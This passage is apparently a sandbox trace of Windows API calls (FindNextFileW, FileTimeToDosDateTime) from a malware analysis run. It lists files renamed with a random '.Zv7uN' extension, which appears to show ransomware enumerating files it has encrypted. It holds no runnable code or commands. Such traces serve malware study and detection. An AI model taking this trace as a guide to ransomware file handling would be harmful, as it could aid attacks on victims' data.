ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ea6420, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f619740, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xed5, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="PPbvZP.mkv.lnk.Zv7uN", cAlternateFileName="PPBVZP~1.ZV7")) returned 1 [0084.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.957] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3095600, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3095600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f619740, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="PyTen.lnk.Zv7uN", cAlternateFileName="PYTENL~1.ZV7")) returned 1 [0084.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.957] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d332c00, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d332c00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4f63f8a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x441, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="q9PYuuDYFbL.flv.lnk.Zv7uN", cAlternateFileName="Q9PYUU~1.ZV7")) returned 1 [0084.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.957] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d4300, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe12d4300, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f665a00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QJ pbgGlPls4Oy5IY.lnk.Zv7uN", cAlternateFileName="QJPBGG~1.ZV7")) returned 1 [0084.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.958] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3caddf00, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3caddf00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4f68bb60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a56, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QNAASLZXJlZKG.lnk.Zv7uN", cAlternateFileName="QNAASL~1.ZV7")) returned 1 [0084.958] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.958] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.958] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16d8820, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe16d8820, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f6b1cc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x41f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QQ-JA.lnk.Zv7uN", cAlternateFileName="QQ-JAL~1.ZV7")) returned 1 [0084.958] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.958] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.958] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf10eae0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d43d5a0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4f6d7e20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QsERwYTXRV.lnk.Zv7uN", cAlternateFileName="QSERWY~1.ZV7")) returned 1 [0084.958] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.958] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.958] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe25df300, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe25df300, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f6fdf80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QSsqvzc.lnk.Zv7uN", cAlternateFileName="QSSQVZ~1.ZV7")) returned 1 [0084.958] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.958] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.958] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf74e4a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf74e4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f7e27c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="reeFNQzvLCz.lnk.Zv7uN", cAlternateFileName="REEFNQ~1.ZV7")) returned 1 [0084.958] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.958] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.958] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2aa1f00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2aa1f00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f808920, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Rkv tdZAdg61X2zGJw.lnk.Zv7uN", cAlternateFileName="RKVTDZ~1.ZV7")) returned 1 [0084.958] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.958] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.959] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bac8a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bac8a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f82ea80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa84, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="rMBc_TwQqbjBeYXCL.lnk.Zv7uN", cAlternateFileName="RMBC_T~1.ZV7")) returned 1 [0084.959] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.959] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.959] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf513000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d69eba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4f854be0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Roaming.lnk.Zv7uN", cAlternateFileName="ROAMIN~1.ZV7")) returned 1 [0084.959] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.959] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.959] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f073c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f073c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f87ad40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="rP4-P8Y7mjkrVJvfpO.lnk.Zv7uN", cAlternateFileName="RP4-P8~1.ZV7")) returned 1 [0084.959] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.959] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.959] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1cf2080, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1cf2080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fa1dc60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="RQwQADR.lnk.Zv7uN", cAlternateFileName="RQWQAD~1.ZV7")) returned 1 [0084.959] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.959] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.959] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e6ee40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1e6ee40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fa43dc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9c2, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="RV4UFRM8.flv.lnk.Zv7uN", cAlternateFileName="RV4UFR~1.ZV7")) returned 1 [0084.959] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.959] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.959] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ccbf20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ccbf20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fa69f20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="rz5wZG.lnk.Zv7uN", cAlternateFileName="RZ5WZG~1.ZV7")) returned 1 [0084.959] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.960] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.960] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b605e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2b605e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fa90080, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Si93WyJ4VkIM.lnk.Zv7uN", cAlternateFileName="SI93WY~1.ZV7")) returned 1 [0084.960] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.960] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.960] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf74e4a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3179e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fadc340, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1962, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="SKcUK.lnk.Zv7uN", cAlternateFileName="SKCUKL~1.ZV7")) returned 1 [0084.960] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.960] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.960] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1098e60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1098e60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fb748c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a30, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="soZZ.lnk.Zv7uN", cAlternateFileName="SOZZLN~1.ZV7")) returned 1 [0084.960] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.960] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.960] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19f8500, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d62c780, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4fb9aa20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x138d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="STLq6DOc.lnk.Zv7uN", cAlternateFileName="STLQ6D~1.ZV7")) returned 1 [0084.960] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.960] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.960] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2605460, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2605460, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fbc0b80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x381, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="sXOzIu2 q.lnk.Zv7uN", cAlternateFileName="SXOZIU~1.ZV7")) returned 1 [0084.961] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.961] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d75d280, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d75d280, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4fbe6ce0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa25, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="SzoFqVMTlfvxL3--V.flv.lnk.Zv7uN", cAlternateFileName="SZOFQV~1.ZV7")) returned 1 [0084.961] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.961] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30bb760, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe30bb760, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fc0ce40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1470, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="tsgG.flv.lnk.Zv7uN", cAlternateFileName="TSGGFL~1.ZV7")) returned 1 [0084.961] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.961] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12ae1a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe12ae1a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fc0ce40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe66, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="TtSX604s.lnk.Zv7uN", cAlternateFileName="TTSX60~1.ZV7")) returned 1 [0084.961] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.961] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5ba360, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d5ba360, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4fca53c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="tz0VN5KTRkT.lnk.Zv7uN", cAlternateFileName="TZ0VN5~1.ZV7")) returned 1 [0084.961] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.961] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f2d520, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f2d520, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fd177e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14b4, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="u5qNSJVfv61OV8 Tl4.lnk.Zv7uN", cAlternateFileName="U5QNSJ~1.ZV7")) returned 1 [0084.961] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.961] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6528e0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d6528e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4fdafd60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="UEeyhCQ0rsUi-3-nJSm.lnk.Zv7uN", cAlternateFileName="UEEYHC~1.ZV7")) returned 1 [0084.961] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.961] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.962] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18c7a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2677880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fdd5ec0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1992, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="UlHqKtcLSUiNQM.lnk.Zv7uN", cAlternateFileName="ULHQKT~1.ZV7")) returned 1 [0084.962] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.962] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.962] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ca5dc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ca5dc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4fdfc020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, 